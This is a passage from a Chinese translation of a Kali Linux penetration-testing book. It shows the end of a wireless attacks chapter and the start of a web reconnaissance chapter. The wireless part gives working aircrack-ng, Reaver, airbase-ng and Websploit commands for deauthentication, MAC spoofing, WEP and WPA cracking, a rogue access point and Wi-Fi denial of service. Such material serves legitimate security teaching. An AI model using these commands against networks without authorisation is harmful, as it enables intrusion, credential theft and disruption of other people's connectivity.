在我们可以与任何这些(潜在的)目标网络进行交互之前,我们必须确认我们的无线适配器是否能够进行数据包注入。为此,请从终端 shell 提示符运行以下命令:

root@kali:~# aireplay-ng -9 mon0

上一个命令的执行显示在以下截图中。这里的-9表示注入测试。

无线侦察

Kismet

无线侦察最重要的工具之一是 Kismet,这是一个 802.11 无线侦测器、嗅探器和入侵检测系统。

Kismet 可用于收集以下信息:

  • 无线网络的名称,ESSID

  • 无线网络的信道

  • 接入点的 MAC 地址,BSSID

  • 无线客户端的 MAC 地址

它还可以用于嗅探 802.11a、802.11b、802.11g 和 802.11n 无线流量的数据。Kismet 还支持插件,允许它嗅探其他无线协议。

要启动 Kismet,请在终端窗口的命令提示符中输入kismet

启动 Kismet 时,您将面临一系列问题,这些问题将允许您在启动过程中对其进行配置。回答“是”以“您能看到颜色”,接受“Kismet 正在以 root 身份运行”,并选择“是”以“启动 Kismet 服务器”。在 Kismet 启动选项中,取消选中“显示控制台”,因为它会遮挡屏幕。允许 Kismet 启动。

您将被提示添加一个捕获接口;通常会选择wlan0

Kismet 然后将开始嗅探数据包,并收集有关所有位于附近物理邻域的无线系统的信息。

Kismet

通过双击选择一个网络,将带您进入一个网络视图,提供有关无线网络的其他信息。

您还可以深入了解连接到各种无线网络的特定客户端。

使用 Kismet 作为初始侦察工具来启动一些特定的攻击(如嗅探传输数据)或识别网络。因为它 passively 收集连接数据,所以它是一个用于识别隐藏网络的优秀工具,特别是当 SSID 没有公开传输时。

绕过隐藏的服务集标识符

ESSID 是唯一标识无线局域网的字符序列。隐藏 ESSID 是一种试图通过“安全性通过混淆”来实现安全性的不良方法;不幸的是,ESSID 可以通过以下方式获得:

  • 嗅探无线环境并等待客户端关联到网络,然后捕获该关联

  • 主动去认证客户端以强制客户端关联,然后捕获该关联

aircrack工具特别适合捕获解除隐藏 ESSID 所需的数据,如以下步骤所示:

  1. 在命令提示符下,通过输入以下命令确认攻击系统上已启用无线功能:
root@kali:~# airmon-ng

  1. 接下来,使用以下ifconfig命令来查看可用的接口,并确定您的无线系统使用的确切名称:
root@kali:~# ifconfig

  1. 通过输入以下内容启用您的无线接口(您可能需要用前一步骤中识别的可用无线接口替换wlan0):
root@kali:~# airmon-ng start wlan0

  1. 如果您使用ifconfig重新确认,您将看到现在正在使用监视或mon0地址。现在,使用airodump确认可用的无线网络,如以下命令所示:
root@kali:~# airodump-ng mon0

绕过隐藏的服务集标识

正如您所看到的,第一个网络的 ESSID 只被标识为<length: 9>。没有使用其他名称或标识。隐藏的 ESSID 的长度被确定为由九个字符组成;然而,这个值可能不正确,因为 ESSID 是隐藏的。真正的 ESSID 长度可能比九个字符短或长。

重要的是可能有客户端连接到这个特定的网络。如果有客户端存在,我们将去认证客户端,迫使他们在重新连接到接入点时发送 ESSID。

重新运行airodump,并过滤出除目标接入点以外的所有内容。在这种特殊情况下,我们将专注于使用以下命令从第六信道的隐藏网络收集数据:

root@kali:~# airodump-ng -c 6 mon0

执行该命令会删除来自多个无线源的输出,并允许攻击者专注于目标 ESSID,如以下屏幕截图所示:

绕过隐藏的服务集标识

执行airodump命令时得到的数据表明,有一个站点(00:0E:2E:CF:8C:7C)连接到 BSSID(00:18:39:D5:5D:61),后者又与隐藏的 ESSID 相关联。

要捕获 ESSID 在传输时,我们必须创建一个条件,在这种条件下我们知道它将被发送——在客户端和接入点之间的连接的初始阶段。

因此,我们将向客户端和接入点发动去认证攻击,发送一系列数据包,打破它们之间的连接,迫使它们重新认证。

要发动攻击,打开一个新的命令窗口,并输入以下屏幕截图中显示的命令(0表示我们正在发动去认证攻击,10表示我们将发送 10 个去认证数据包,-a是目标接入点,c是客户端的 MAC 地址):

绕过隐藏的服务集标识

在发送所有去认证数据包后,返回到监视第六信道上的网络连接的原始窗口,如以下屏幕截图所示。您现在将清楚地看到 ESSID。

绕过隐藏的服务集标识

知道 ESSID 有助于攻击者确认他们正在专注于正确的网络(因为大多数 ESSID 都基于公司身份)并促进登录过程。

绕过 MAC 地址认证

媒体访问控制MAC)地址在网络中唯一标识每个节点。它采用六对十六进制数字(0 到 9 和字母 A 到 F)的形式,由冒号或破折号分隔,通常看起来像这样:00:50:56:C0:00:01

MAC 地址通常与网络适配器或具有网络功能的设备相关联;因此,它经常被称为物理地址。

MAC 地址中的前三对数字称为组织唯一标识符,它们用于识别制造或销售设备的公司。最后三对数字是特定于设备的,并且可以被视为序列号

因为 MAC 地址是唯一的,它可以用来将用户与特定网络关联起来,特别是无线网络。这有两个重要的含义——它可以用来识别黑客或试图访问网络的合法网络测试人员,并且可以用作认证个人并授予他们对网络的访问权限的手段。

在渗透测试期间,测试人员可能希望对网络保持匿名。支持匿名配置的一种方法是更改攻击系统的 MAC 地址。

这可以通过使用ifconfig命令手动完成。要确定现有的 MAC 地址,请从命令行运行以下命令:

root@kali:~# ifconfig wlan0 down
root@kali:~# ifconfig wlan0 | grep HW

手动更改 IP 地址,请使用以下命令:

root@kali:~# ifconfig wlan0 hw ether 38:33:15:xx:xx:xx
root@kali:~# ifconfig wlan0 up

用不同的十六进制对替换“xx”表达式。这个命令将允许我们将攻击系统的 MAC 地址更改为受害者网络接受的 MAC 地址之一。攻击者必须确保 MAC 地址在网络上尚未被使用,否则重复的 MAC 地址可能会在网络被监视时触发警报。

注意

在更改 MAC 地址之前,无线接口必须被关闭。

Kali 还允许使用自动化工具macchanger。要将攻击者的 MAC 地址更改为由同一供应商生产的产品的 MAC 地址,请在终端窗口中使用以下macchanger命令:

root@kali:~# macchanger wlan0 -e

要将现有的 MAC 地址更改为完全随机的 MAC 地址,请使用以下命令:

root@kali:~# macchanger wlan0 -r

绕过 MAC 地址认证

一些攻击者使用自动化脚本在测试期间频繁更改 MAC 地址,以匿名化他们的活动。

许多组织,特别是大型学术团体,如学院和大学,使用 MAC 地址过滤来控制谁可以访问他们的无线网络资源。MAC 地址过滤使用网络卡上的唯一 MAC 地址来控制对网络资源的访问;在典型的配置中,组织维护一个 MAC 地址的白名单,允许访问网络的 MAC 地址。如果传入的 MAC 地址不在批准的访问列表上,它将被限制连接到网络。

不幸的是,MAC 地址信息是明文传输的。攻击者可以使用airodump收集一系列被接受的 MAC 地址,然后手动将他们的 MAC 地址更改为目标网络接受的地址之一。因此,这种类型的过滤几乎不提供对无线网络的真正保护。

使用加密提供了下一级别的无线网络保护。

破解 WEP 加密

无线等效隐私WEP)始于 1999 年,旨在为 802.11 无线网络提供与有线网络相媲美的保密度。在其加密实现中很快发现了多个缺陷,到 2004 年被WiFi 保护访问WPA)协议取代。

注意

WEP 至今仍在使用,特别是在无法支持新无线路由器资源需求的旧网络中。在最近对一个主要大都市中心的无线调查中,几乎 25%的加密无线网络继续使用 WEP。其中许多网络与金融公司相关。

WEP 的主要缺陷之一是在初始化向量IV)的重用中首次被发现。WEP 依赖于 RC4 加密算法,这是一种流密码——相同的加密密钥不能重复使用。IV 被引入以防止密钥重用,通过在加密数据中引入一定程度的随机性。不幸的是,24 位 IV 太短,无法防止重复;此外,同一个 IV 在传输了仅 5000 个数据包后就有 50%的概率重复。

攻击者可以窃听或拦截 WEP 加密的流量。根据可用于检查的拦截数据包数量,密钥恢复可能会很快发生。实际上,大多数 WEP 密钥可以在三分钟内恢复或破解

要使 WEP 破解起作用,您还需要了解有关目标的以下信息:

  • 无线网络的名称或 ESSID

  • 接入点的 MAC 地址,BSSID

  • 使用的无线频道

  • 无线客户端的 MAC 地址

对 WEP 的最常见攻击可以通过执行以下步骤来完成:

  1. 首先,使用以下命令识别可用的无线网络接口:
root@kali:~# airmon-ng

  1. 停止接口以更改 MAC 地址为已与目标网络关联的现有客户端正在使用的地址。您还可以在此步骤中使用macchanger。当 MAC 地址已更改时,重新启动airmon-ng。使用以下命令执行这些步骤:
root@kali:~# airmon-ng stop
root@kali:~# ifconfig wlan0 down
root@kali:~# ifconfig wlan0 hw ether (mac address)
root@kali:~# airmon-ng start wlan0

使用已知和接受的 MAC 地址简化了攻击。然而,情况并非总是如此。这种攻击假设您知道 MAC 地址。相反,我们将与网络进行虚假关联。

  1. 使用以下airodump命令来定位目标无线网络:
root@kali:~# airodump-ng wlan0

airodump定位到目标时,按下Ctrl + C停止搜索。复制 BSSID 中的 MAC 地址,并记下频道。当airodump定位到目标时,按下Ctrl + C停止搜索。复制 BSSID 中的 MAC 地址,并记下频道;在下面截图中显示的示例中,目标网络dd_wep在速度为 11 MB 的第六频道上运行。

破解 WEP 加密

  1. 启动airodump-ng以嗅探无线流量并使用以下命令收集 IV 数据包,其中--bssid允许我们选择目标的 BSSID,-c表示频道,-w允许我们写入输出文件的名称(wep_out):
root@kali:~# airodump-ng --bssid 00:06:25:9A:A9:C6 -c 6 -w
  wep_out wlan0 

  1. 现在我们必须增加传输的 IV 数据包数量。打开第二个终端窗口(不要关闭第一个)并输入以下命令,对目标无线接入点进行虚假认证:
root@kali:~# aireplay-ng -1 0 -a 00:06:25:9A:A9:C6 -h 
  00:11:22:33:44:55 -e dd_wep wlan0 

这里,-1表示虚假认证,0是重新关联的时间(设置为0可能会引起防御者的警觉,因此攻击者可能将其设置为 30 甚至更高)。

  1. 在进行虚假认证后,我们将生成似乎来自受信任 MAC 地址的流量,并将其路由到目标无线接入点。
root@kali:~# aireplay-ng -3  -b 00:06:25:9A:A9:C6 -h 
  00:11:22:33:44:55 wlan0 

这种攻击被称为 ARP 注入或 ARP 重放攻击。通常,目标接入点将重新广播 ARP 数据包并每次生成一个新的 IV;因此,这是一种快速培育必要 IV 的方法。

先前命令的执行结果如下截图所示:

破解 WEP 加密

  1. 让我们在 ARP 注入继续的同时生成一些额外的数据包。打开另一个终端窗口,并输入以下命令开始交互式数据包重放攻击:
root@kali:~# aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF 
  - b (mac address) -h (mac address) wlan0 

在这里,-2表示我们正在使用交互式重放攻击,-p 0841设置数据包的帧控制字段,使其看起来像是从无线客户端发送的,-c FF:FF:FF:FF:FF:FF设置目的地(在这种情况下,FF符号发送数据包到网络上的所有主机),-b是 BSSID 的 MAC 地址,-h是正在传输的数据包的 MAC 地址,应与测试者的 MAC 地址匹配。

先前命令的执行结果如下截图所示:

破解 WEP 加密

  1. 使网络看起来繁忙的另一种技术是在攻击系统上打开多个命令 shell,并输入以下命令,将(IP 地址)替换为目标的 IP 地址:
root@kali:~# ping -T -L 6500 (IP address)

  1. 收集并保存足够的数据包后,可以使用以下aircrack-ng命令来破解 WEP 密钥,其中-a 1强制攻击模式为静态 WEP,-b是 BSSID,dd_wep.cap是包含捕获的 IV 的捕获文件。
root@kali:~# aircrack-ng -a 1 -b 00:06:25:9A:A9:C6 -n 64 
  dd_wep.cap 

如下面的截图所示,攻击成功,并且密钥已被识别。(尽管它看起来是一个十六进制数,您只需输入它即可登录到 WEP 网络。)

破解 WEP 加密

尽管这个演示集中在 64 位密钥上,但一旦从访问点收集了 IVs,更长的密钥破解时间并不会显著增加。

aircrack-ng套件是“黄金标准”,提供了获得访问的最可靠和有效的方式。然而,Kali 还配备了其他几种工具,可以帮助您破解加密的无线网络。

其中一个是 Fern WiFi Cracker,它是一个集成了aircrack-ng的 Python GUI。它可以自动扫描无线网络并识别 WEP、WPA 和 WPA2 网络。一旦识别出网络,攻击者可以利用以下几个功能:

  • 使用各种攻击来破解 WEP,包括分段、Chop Chop、Caffe Latte、Hirte、ARP 请求重放或 WPS 攻击

  • 使用字典或基于 WPS 的攻击来破解 WPA 和 WPA2

  • 成功破解后自动将密钥保存到数据库

  • 内部中间人引擎支持会话劫持

  • 对 HTTP、HTTPS、Telnet 和 FTP 进行暴力攻击

Fern 的界面非常干净,设置引导用户选择接口并扫描访问点。它将报告 WEP 和 WPA/WPA2 的访问点;从这一点开始,只需点击适当的按钮启动攻击。Fern 的初始启动界面如下截图所示:

破解 WEP 加密

尽管 Fern 是一个很好的工具,但大多数测试人员并不完全依赖它——如果无法识别密钥或无法访问网络,失败的原因可能隐藏在 GUI 背后,使故障排除变得困难。

类似的应用程序是 Wifite 无线审计员,它提供了一个基于文本的界面来支持测试。在现场测试中已被证明非常有效,并利用了以下功能:

  • Wifite 通过在攻击之前将攻击者的 MAC 地址更改为随机 MAC 地址来支持匿名,并在所有攻击完成后将其改回来

  • 按信号强度(以 dB 为单位)对目标进行排序,以首先破解最近的访问点

  • 自动使隐藏网络的客户端脱机以显示 SSID

  • 支持多种攻击类型

在下面的截图中显示的示例中,选择了一个名为dd_wep的单个目标进行攻击。不需要与应用程序进行任何其他交互;它完成了完全的破解并将破解的密钥保存到数据库中。

破解 WEP 加密

尽管已经有一些基本工具可以在 Kali 上使用来证明已经废弃的 WEP 的漏洞,但更强大的 WPA 加密协议能经受住多大的攻击呢?

攻击 WPA 和 WPA2

WiFi Protected AccessWPA)和WiFi Protected Access 2WPA2)是旨在解决 WEP 安全缺陷的无线安全协议。因为 WPA 协议为每个数据包动态生成新密钥,它们防止了导致 WEP 失败的统计分析。然而,它们对一些攻击技术是脆弱的。

WPA 和 WPA2 经常使用预共享密钥PSK)来保护接入点和无线客户端之间的通信。PSK 应该是至少 13 个字符长的随机密码;如果不是,就有可能通过将 PSK 与已知字典进行比较来确定 PSK,使用暴力破解攻击。这是最常见的攻击方式。(请注意,如果配置为企业模式,提供使用 RADIUS 认证服务器进行认证,从我们的角度来看,WPA 是“无法破解”的!)

暴力破解攻击

与 WEP 不同,WPA 解密需要攻击者创建特定的数据包类型,以揭示细节,例如接入点和客户端之间的握手。

要攻击 WPA 传输,应执行以下步骤:

  1. 启动无线适配器,并使用ifconfig命令确保创建了监视接口。

  2. 使用airodump-ng –wlan0来识别目标网络。

  3. 使用以下命令开始捕获目标接入点和客户端之间的流量:

root@kali:~# airodump-ng --bssid 28:10:7B:61:20:32 -c 11 
  --showack -w dd_wpa2 wlan0 

-c设置为监视特定频道,--showack标志以确保客户端计算机确认您的请求将其从无线接入点去认证,并将-w用于将输出写入文件以供以后进行字典攻击。这种攻击的典型输出如下截图所示:

Brute-force attacks

  1. 保持这个终端窗口打开,并打开第二个终端窗口来发起去认证攻击;这将迫使用户重新对目标接入点进行认证并重新交换 WPA 密钥。去认证攻击命令如下所示:
root@kali:~# aireplay-ng -0 10 –a 28:10:7B:61:20:32 
  -c 00:1D:60:7D:55:5A wlan0 

上一个命令的执行结果如下截图所示:

Brute-force attacks

成功的去认证攻击将显示ACKs,表明连接到目标接入点的客户端已确认刚刚发送的去认证命令。

  1. 查看原始命令行,保持打开以监视无线传输,并确保捕获 4 次握手。成功的 WPA 握手将在控制台的右上角标识。在下面的示例中,数据表明 WPA 握手值为28:10:7B:61:20:32Brute-force attacks

  2. 使用aircrack来破解 WPA 密钥,使用定义的单词列表。攻击者为收集握手数据定义的文件名将位于根目录中,并且将附加-01.cap扩展名。

在 Kali 中,单词列表位于/usr/share/wordlists目录中。虽然有几个单词列表可用,但建议您下载更有效地破解常见密码的列表。

在上面的示例中,密钥已经预先放置在密码列表中。对于长、复杂的密码进行字典攻击可能需要几个小时,具体取决于系统配置。以下命令使用words作为源单词列表。

root@kali:~# aircrack-ng wpa-01.cap /usr/share/wordlists

以下截图显示了成功破解 WPA 密钥的结果;经过 44 个密钥的测试,发现网络管理员的密钥是princessmouse

Brute-force attacks

如果你手头没有自定义密码列表或希望快速生成一个列表,你可以在 Kali 中使用 crunch 应用程序。以下命令指示 crunch 使用给定的字符集创建一个最小长度为 5 个字符、最大长度为 25 个字符的单词列表:

root@kali:~# crunch 0 25
  abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX
  YZ0123456789 | aircrack-ng --bssid (MAC address) 
  -w capture-01.cap 

您还可以使用基于 GPU 的密码破解工具(oclHashcat 用于 AMD/ATI 显卡,cudaHashcat 用于 NVIDIA 显卡)来提高暴力破解攻击的效果。

要执行此攻击,首先使用以下命令将 WPA 握手捕获文件psk-01.cap转换为 hashcat 文件:

root@kali:~# aircrack-ng psk-01.cap -J <output file>

转换完成后,使用以下命令对新的捕获文件运行 hashcat(选择与您的 CPU 架构和图形卡匹配的 hashcat 版本):

root@kali:~# cudaHashcat-plus32.bin -m 2500 <filename>.hccap<wordlist>

使用 Reaver 攻击无线路由器

WPA 和 WPA2 也容易受到对接入点的 Wi-Fi 受保护设置(WPS)和 PIN 码的攻击。

大多数接入点支持Wi-Fi 受保护设置WPS)协议,该协议于 2006 年成为标准,允许用户轻松设置和配置接入点,并将新设备添加到现有网络,而无需重新输入大而复杂的密码。

不幸的是,PIN 码是一个 8 位数字(100,000,000 种可能的猜测),但最后一个数字是一个校验和值。因为 WPS 认证协议将 PIN 码分成两半并分别验证每一半,这意味着第一半 PIN 码有 10⁴(10,000)个值,第二半有 10³(1,000)个可能的值——攻击者只需最多猜测 11,000 次就能破坏接入点!

Reaver 是一个旨在最大化猜测过程的工具(尽管 Wifite 也进行 WPS 猜测)。

要启动 Reaver 攻击,使用一个名为wash的伴侣工具来识别任何易受攻击的网络,如以下命令所示:

root@kali:~# wash -i wlan0 --ignore-fcs

如果有任何易受攻击的网络,使用以下命令对它们发动攻击:

root@kali:~# reaver -i wlan0 -b (BBSID) -vv

在 Kali 中测试这种攻击表明,攻击速度慢,容易失败;然而,它可以用作后台攻击或补充其他攻击路径来破坏 WPA 网络。

克隆接入点

对无线网络的一种更有趣的攻击依赖于克隆接入点,然后监视用户尝试连接时传输的信息。攻击者不仅可以获得认证凭据,还可以利用中间人攻击来拦截或重定向网络流量。

Kali 中包含的几个工具声称支持克隆或制造伪造接入点;然而,目前这些工具存在缺陷。例如,社会工程工具包和 Websploit 不与 Kali 预装的 DHCP 服务器集成。

大多数攻击者寻找外部工具,包括 Gerix 或 easy-creds 等脚本;然而,aircrack-ng套件也包括一个工具。airbase-ng,用于克隆接入点。

为了制作一个假的无线接入点,攻击者将:

  1. 启动wlan0进入监视模式,这将创建一个用于监视的mon0接口,使用以下命令:
root@kali:~# airmon-ng start wlan0

  1. 使用以下命令在mon0上设置接入点(AP)。社会工程学对 AP 的成功有重大影响,因此使用一个能吸引目标客户的名称。在这个例子中,我们将使用一个通用的开放式 Wi-Fi 网络名称。它将在 WiFi 频道六上建立:
root@kali:~# airbase-ng --essid Customer_Network 
  -c 6 mon0 

  1. 使用以下命令安装桥接工具:
apt-get install bridge-utils

  1. 在另一个终端窗口中,使用桥接工具创建一个桥接(rogue),并将at0at0接口是由前一个命令创建的)链接到eth0(请注意,必须首先使用apt-get install bridge-utils安装桥接工具)。
root@kali:~# brctl addbr rogue
root@kali:~# brctl addif rogue at0
root@kali:~# brctl addif rogue eth0

因为这两个接口被集成到虚拟桥中,你可以使用以下命令释放它们的 IP 地址:

root@kali:~# ifconfig at0 down
root@kali:~# ifconfig at 0.0.0.0 up
root@kali:~# ifconfig eth0 down
root@kali:~# ifconfig eth0 0.0.0.0 up

  1. 使用以下命令启用桥接上的 IP 转发:
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward

  1. 使用以下命令配置桥接到连接到eth0的 LAN 的 IP 地址:
root@kali:~# ifconfig rogue 10.1.x.y netmask 255.255.255.0 broadcast 10.1.x.255 up
root@kali:~# route add default gw 10.1.x.1

  1. 使用以下命令启动 AP 以嗅探认证握手:
airbase-ng -c 6 -e --ESSID /file_path/file.cap wlan0

拒绝服务攻击

我们将评估对无线网络的最终攻击是拒绝服务攻击,攻击者剥夺合法用户访问无线网络或通过使网络崩溃使其不可用。无线网络极易受到 DoS 攻击的影响,并且很难在分布式无线网络上定位攻击者。DoS 攻击的例子包括以下内容:

  • 向无线网络注入制作的网络命令,如重新配置命令,可以导致路由器、交换机和其他网络设备的故障。

  • 一些设备和应用程序可以识别正在发生的攻击,并将自动响应以禁用网络。一个恶意的攻击者可以发动一个明显的攻击,然后让目标自己创建 DoS!

  • 用数据包的洪水攻击无线网络可以使其无法使用;例如,一个 HTTP 洪水攻击向 Web 服务器发出数千个页面请求,可以耗尽其处理能力。同样,用认证和关联数据包淹没网络会阻止用户连接到接入点。

  • 攻击者可以制作特定的去认证和去关联命令,这些命令用于关闭无线网络上的授权连接,并淹没网络,阻止合法用户维持与无线接入点的连接。

为了证明这一点,我们将通过向网络发送去认证数据包来制造一个拒绝服务攻击。因为无线 802.11 协议是建立在接收到特定数据包时支持去认证的基础上的(这样用户可以在不再需要连接时断开连接),这可能是一个毁灭性的攻击——它符合标准,没有办法阻止它发生。

“撞”一个合法用户离开网络的最简单方法是用一连串的去认证数据包来攻击他们。可以使用aircrack-ng工具套件的以下命令来实现这一点:

root@kali:~# aireplay-ng -0 0 -a (bssid) -c wlan0

这个命令将攻击类型标识为-0,表示这是一个去认证攻击。第二个0(零)会发出一连串的去认证数据包,使网络对其用户不可用。

Websploit 框架是一个用于扫描和分析远程系统的开源工具。它包含了几个工具,包括专门用于无线攻击的工具。要启动它,打开命令行,然后简单地输入websploit

Websploit 界面类似于recon-ng和 Metasploit Framework,并为用户提供了模块化界面。

启动后,使用show modules命令查看现有版本中存在的攻击模块。使用use wifi/wifi_jammer命令选择 WiFi 干扰器(一连串的去认证数据包)。如下截图所示,攻击者只需使用set命令设置各种选项,然后选择run来发动攻击。

拒绝服务攻击

总结

在本章中,我们研究了对无线网络成功攻击所需的几个管理任务,包括选择无线适配器、配置无线调制解调器,并使用诸如 aircrack-ng Kismet 等工具进行侦察。我们专注于使用aircrack-ng工具套件来识别隐藏网络、绕过 MAC 认证以及破解 WEP 和 WPA/WPA2 加密。我们还看到了如何克隆或复制无线接入点,以及如何对无线网络进行拒绝服务攻击。

下一章将重点介绍攻击者如何针对网站及其服务。我们将研究用于侦察的工具,特别是客户端代理和漏洞扫描器。我们将看到攻击者如何利用这些漏洞与自动化工具,如利用框架和在线密码破解。更重要的是,我们将研究一些通常需要手动干预的离散攻击,例如注入攻击和跨站脚本。最后,我们将探讨在线服务的特殊性,以及它们为何以及如何容易受到 DoS 攻击的影响。

第九章:对基于 Web 的应用程序的侦察和利用

在前几章中,我们审查了攻击者的杀伤链——用于破坏网络和设备、披露数据或阻碍对网络资源的访问的具体方法。在第七章中,物理攻击和社会工程,我们研究了攻击的途径,从物理攻击和社会工程开始。在第八章中,利用无线通信,我们看到了无线网络如何被 compromise。在本章中,我们将重点关注通过网站和基于 Web 的应用程序的最常见的攻击途径之一。

提供内容和基于 Web 的服务(例如电子邮件和 FTP)的网站是无处不在的,大多数组织几乎始终允许远程访问这些服务。然而,对于渗透测试人员和攻击者来说,网站暴露了发生在网络上的后端服务,访问网站的用户的客户端活动以及用户与网站数据之间的连接频繁攻击。本章将重点关注攻击者对网站和 Web 服务的视角,我们将在第十章中审查对连接的攻击,利用远程访问通信和第十一章中的客户端攻击,客户端利用

到本章结束时,您将学到以下内容:

  • 将侦察原则扩展到 Web 服务

  • 漏洞扫描

  • 使用客户端代理

  • 利用 Web 服务中的漏洞

  • 使用 Web 后门维持对受损系统的访问

提示

在许多练习中,我们将使用 NOWASP 或 Mutillidae 作为目标网站,该网站包含可以利用的已知漏洞;它可以从www.owasp.org/index.php/Category:OWASP_Mutillidae下载。这个 Web 应用程序可以直接安装到 Linux 或 Windows 上,使用 LAMP、WAMP 和 XAMPP。它也预先安装在 SamauraiWTF 和 Metasploitable 测试环境中。请参考附录,安装 Kali Linux,了解创建 Metasploitable 测试环境的说明。

对网站进行侦察

网站及其服务的交付特别复杂。通常,服务是使用多层架构交付给最终用户的,其中 Web 服务器可以被公共互联网访问,同时与位于网络上的后端服务器和数据库进行通信。

测试期间必须考虑的几个额外因素增加了复杂性,其中包括以下内容:

  • 网络架构,包括安全控制(防火墙、IDS/IPS 和蜜罐)和负载平衡等配置

  • 平台架构(硬件、操作系统和附加应用程序)托管 Web 服务的系统

  • 应用程序、中间件和最终层数据库可能采用不同的平台(Unix 或 Windows)、供应商、编程语言和商业和专有软件的混合

  • 认证和授权流程,包括在应用程序中维护会话状态的流程

  • 规定应用程序将如何使用的基础业务逻辑

  • 客户端与网络服务的交互和通信

鉴于网络服务的复杂性已经得到证明,渗透测试人员需要适应每个站点特定的架构和服务参数。同时,测试过程必须一贯应用,并确保没有遗漏。已经提出了几种方法来实现这些目标。最广泛接受的方法是开放式 Web 应用安全项目(OWASP)(www.owasp.org)及其十大漏洞清单。

作为最低标准,OWASP 为测试人员提供了强有力的指导。然而,仅关注十大漏洞是短视的,该方法在发现应用程序应如何支持业务实践的逻辑漏洞时已经表现出一些缺陷。

使用杀链方法,一些特定于网络服务侦察的活动应该被突出,包括以下内容:

  • 确定目标站点,特别是关于它的托管位置和方式。

  • 列举目标网站的站点目录结构和文件,包括确定是否使用内容管理系统(CMS)。这可能包括下载网站进行离线分析,包括文档元数据分析,并使用网站创建用于密码破解的自定义字典(使用 crunch 等程序)。还要确保所有支持文件也被识别。

  • 识别认证和授权机制,并确定在与该网络服务进行交易时如何维护会话状态。这通常涉及对 cookie 的分析以及它们的使用方式。

  • 列举所有表单。由于这些是客户端输入数据和与网络服务交互的主要手段,这些是一些可利用的漏洞的特定位置,比如 SQL 注入攻击和跨站脚本。

  • 识别其他接受输入的区域,比如允许文件上传的页面以及对接受的上传类型的任何限制。

  • 确定如何处理错误,以及用户收到的实际错误消息;通常,错误会提供有价值的内部信息,比如使用的软件版本,或者内部文件名和进程。

  • 确定哪些页面需要并维护安全套接字层或其他安全协议(参见第十章,“利用远程访问通信”)。

第一步是进行先前描述的被动和主动侦察(参见第二章,“确定目标-被动侦察”和第三章,“主动侦察和漏洞扫描”);特别是确保识别托管站点,然后使用 DNS 映射来识别由同一服务器提供的所有托管站点(攻击的最常见和成功的手段之一是攻击与目标网站托管在同一物理服务器上的非目标站点,利用服务器的弱点获取根访问权限,然后使用升级后的权限攻击目标站点)。

下一步是识别网络防护设备的存在,比如防火墙、IDS/IPS 和蜜罐。一个越来越常见的防护设备是 Web 应用防火墙(WAF)。

如果使用了 WAF,测试人员将需要确保攻击,特别是依赖精心制作的输入的攻击,被编码以绕过 WAF。

WAF 可以通过手动检查 cookie(一些 WAF 会标记或修改在 Web 服务器和客户端之间通信的 cookie),或者通过头信息的更改(当测试人员使用 Telnet 等命令行工具连接到端口 80 时识别)来识别。

WAF 检测的过程可以使用nmap脚本http-waf-detect.nse自动化,如下截图所示:

对网站进行侦察

nmap 脚本识别出 WAF 的存在;然而,对脚本的测试表明,它在发现方面并不总是准确的,返回的数据可能过于一般化,无法指导有效的绕过防火墙的策略。

wafw00f 脚本是一个自动化工具,用于识别和指纹 Web 防火墙;测试表明,它是最准确的工具。该脚本可以轻松从 Kali 中调用,并在以下截图中显示了大量输出:

对网站进行侦察

负载均衡检测器lbd)是一个 bash shell 脚本,用于确定给定域名是否使用 DNS 和/或 HTTP 负载均衡。这对于测试人员来说是重要信息,因为当测试一个服务器,然后负载均衡器将请求转发到另一个服务器时,可以解释看似异常的结果。Lbd 使用各种检查来识别负载平衡的存在;以下截图显示了一个示例输出:

对网站进行侦察

应检查网站以确定可能用于构建和维护网站的 CMS。诸如 Drupal、Joomla 和 WordPress 等 CMS 应用程序可能配置有易受攻击的管理界面,允许访问提升的权限,或者可能包含可利用的漏洞。

Kali 包括一个自动化扫描程序BlindElephant,用于指纹识别 CMS 以确定版本信息。以下截图显示了一个示例输出:

对网站进行侦察

BlindElephant 审查 CMS 的组件指纹,然后提供了存在版本的最佳猜测。然而,与其他应用程序一样,我们发现它可能无法检测到存在的 CMS;因此,始终要根据其他爬行网站特定目录和文件的扫描器的结果进行验证,或者手动检查网站。

一种特定的扫描工具,自动网络爬虫,可用于验证已收集的信息,以及确定特定网站的现有目录和文件结构。网络爬虫的典型发现包括管理门户、配置文件(当前和以前的版本)可能包含硬编码访问凭据和内部结构信息、网站的备份副本、管理员注释、机密个人信息和源代码。

Kali 支持多个网络爬虫,包括 Burp Suite、DirBuster、OWASP-ZAP、Vega、WebScarab 和 WebSlayer。最常用的工具是 DirBuster。

DirBuster 是一个使用可能的目录和文件列表进行暴力分析网站结构的 GUI 驱动应用程序。响应可以以列表或树状格式查看,更准确地反映了网站的结构。执行该应用程序针对目标网站的输出如下截图所示:

对网站进行侦察

还可以直接复制网站到测试人员的位置。这种“网站克隆”允许测试人员有时间审查目录结构及其内容,从本地文件中提取元数据,并使用网站内容作为crunch等程序的输入,以生成支持密码破解的个性化字典。

要将网站克隆到本地系统,请使用 HTTrack。如果 Kali 中没有该软件,可以使用apt-get命令进行下载,然后在命令提示符中输入httrack来执行。您将被提示选择一个目录位置来存储下载的网站。程序执行完毕后,您将拥有目标网站的备份。

一旦您已经映射出正在交付的网站和/或 Web 服务的基本结构,杀伤链的下一个阶段是识别可以利用的漏洞。

漏洞扫描仪

使用自动化工具进行漏洞扫描可能存在问题。Web 漏洞扫描仪遭受所有扫描仪的常见缺点(扫描仪只能检测已知漏洞的签名;它们无法确定漏洞是否实际可利用;存在高比例的假阳性报告)。此外,Web 漏洞扫描仪无法识别业务逻辑中的复杂错误,并且它们无法准确模拟黑客使用的复杂链式攻击。

为了提高可靠性,大多数渗透测试人员使用多种工具来扫描 Web 服务;当多个工具报告可能存在特定漏洞时,这种共识将指导测试人员需要手动验证的区域。

Kali 配备了大量用于 Web 服务的漏洞扫描仪,并提供了一个稳定的平台,用于安装新的扫描仪并扩展其功能。这使得渗透测试人员可以通过选择扫描工具来增加测试的有效性:

  • 最大化测试的完整性(已识别的漏洞的总数)和准确性(真实的漏洞而不是假阳性结果)。

  • 最小化获取可用结果所需的时间。

  • 最小化对正在测试的 Web 服务的负面影响。这可能包括由于流量增加而导致系统减速。例如,最常见的负面影响之一是由于测试将数据输入到数据库然后通过电子邮件向个人提供已经进行的更改的更新的表单而导致的—对这些表单的不受控制的测试可能导致发送超过 30,000 封电子邮件!

